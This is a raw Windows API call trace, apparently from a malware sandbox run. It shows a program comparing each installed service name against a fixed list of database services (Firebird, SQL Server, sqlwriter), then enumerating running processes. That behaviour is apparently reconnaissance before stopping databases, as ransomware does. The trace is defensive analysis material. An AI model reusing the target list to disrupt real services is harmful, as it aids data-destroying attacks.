lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0257.038] lstrlenW (lpString="EventLog") returned 8 [0257.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0257.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0257.038] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0257.038] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0257.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0257.471] lstrlenW (lpString="EventSystem") returned 11 [0257.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.472] lstrlenW (lpString="FontCache") returned 9 [0257.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0257.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0257.472] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0257.472] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0257.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0257.472] lstrlenW (lpString="gpsvc") returned 5 [0257.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.472] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.472] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.472] lstrlenW (lpString="iphlpsvc") returned 8 [0257.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.472] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0257.472] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0257.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0257.472] lstrlenW (lpString="KeyIso") returned 6 [0257.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0257.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0257.472] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0257.472] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0257.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0257.472] lstrlenW (lpString="LanmanServer") returned 12 [0257.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0257.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0257.473] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0257.473] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0257.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0257.473] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.473] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.473] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.473] lstrlenW (lpString="lfsvc") returned 5 [0257.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0257.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0257.473] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0257.473] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0257.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0257.473] lstrlenW (lpString="lmhosts") returned 7 [0257.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.473] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.473] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.473] lstrlenW (lpString="LSM") returned 3 [0257.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0257.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0257.474] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0257.474] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0257.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0257.474] lstrlenW (lpString="MpsSvc") returned 6 [0257.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.474] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.474] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.474] lstrlenW (lpString="NcbService") returned 10 [0257.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0257.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0257.474] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0257.474] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0257.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0257.474] lstrlenW (lpString="netprofm") returned 8 [0257.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0257.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0257.474] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0257.474] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0257.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0257.474] lstrlenW (lpString="NgcSvc") returned 6 [0257.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0257.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0257.475] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0257.475] lstrlenW (lpString="NlaSvc") returned 6 [0257.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.475] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.475] lstrlenW (lpString="nsi") returned 3 [0257.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.475] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.475] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.475] lstrlenW (lpString="PcaSvc") returned 6 [0257.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.475] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.476] lstrlenW (lpString="PlugPlay") returned 8 [0257.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.476] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.476] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.476] lstrlenW (lpString="Power") returned 5 [0257.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.476] lstrlenW (lpString="ProfSvc") returned 7 [0257.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.476] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.476] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.476] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.477] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.477] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0257.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.477] lstrlenW (lpString="RpcSs") returned 5 [0257.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.477] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.477] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.477] lstrlenW (lpString="SamSs") returned 5 [0257.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.477] lstrlenW (lpString="Schedule") returned 8 [0257.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.477] lstrlenW (lpString="SecurityHealthService") returned 21 [0257.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0257.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0257.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0257.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0257.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0257.478] lstrlenW (lpString="SENS") returned 4 [0257.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.478] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.478] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.478] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.478] lstrlenW (lpString="Spooler") returned 7 [0257.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.478] lstrlenW (lpString="StateRepository") returned 15 [0257.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0257.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0257.478] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0257.479] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0257.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0257.479] lstrlenW (lpString="SysMain") returned 7 [0257.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.479] lstrlenW (lpString="SystemEventsBroker") returned 18 [0257.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0257.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0257.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0257.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0257.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0257.479] lstrlenW (lpString="Themes") returned 6 [0257.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.479] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0257.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0257.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0257.479] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0257.480] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0257.480] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4073120 | out: hHeap=0x630000) returned 1 [0257.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1234 [0257.522] Process32FirstW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.523] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.524] lstrlenW (lpString="System") returned 6 [0257.524] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.525] lstrlenW (lpString="smss.exe") returned 8 [0257.526] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.526] lstrlenW (lpString="csrss.exe") returned 9 [0257.527] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.528] lstrlenW (lpString="wininit.exe") returned 11 [0257.528] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.529] lstrlenW (lpString="csrss.exe") returned 9 [0257.529] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.530] lstrlenW (lpString="winlogon.exe") returned 12 [0257.530] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.532] lstrlenW (lpString="services.exe") returned 12 [0257.532] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.533] lstrlenW (lpString="lsass.exe") returned 9 [0257.533] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0257.534] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0257.534] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0257.535] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0257.535] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.536] lstrlenW (lpString="svchost.exe") returned 11 [0257.536] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.537] lstrlenW (lpString="svchost.exe") returned 11 [0257.537] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.538] lstrlenW (lpString="dwm.exe") returned 7 [0257.538] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.539] lstrlenW (lpString="svchost.exe") returned 11 [0257.539] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.069] lstrlenW (lpString="svchost.exe") returned 11 [0258.069] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.070] lstrlenW (lpString="svchost.exe") returned 11 [0258.070] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.071] lstrlenW (lpString="svchost.exe") returned 11 [0258.071] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.073] lstrlenW (lpString="svchost.exe") returned 11 [0258.073] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.074] lstrlenW (lpString="svchost.exe") returned 11 [0258.074] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.075] lstrlenW (lpString="svchost.exe") returned 11 [0258.075] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.076] lstrlenW (lpString="svchost.exe") returned 11 [0258.076] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.077] lstrlenW (lpString="svchost.exe") returned 11 [0258.077] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.078] lstrlenW (lpString="svchost.exe") returned 11 [0258.078] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.079] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.079] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.080] lstrlenW (lpString="svchost.exe") returned 11 [0258.080] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.081] lstrlenW (lpString="audiodg.exe") returned 11 [0258.081] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0258.083] lstrlenW (lpString="SecurityHealthService.exe") returned 25 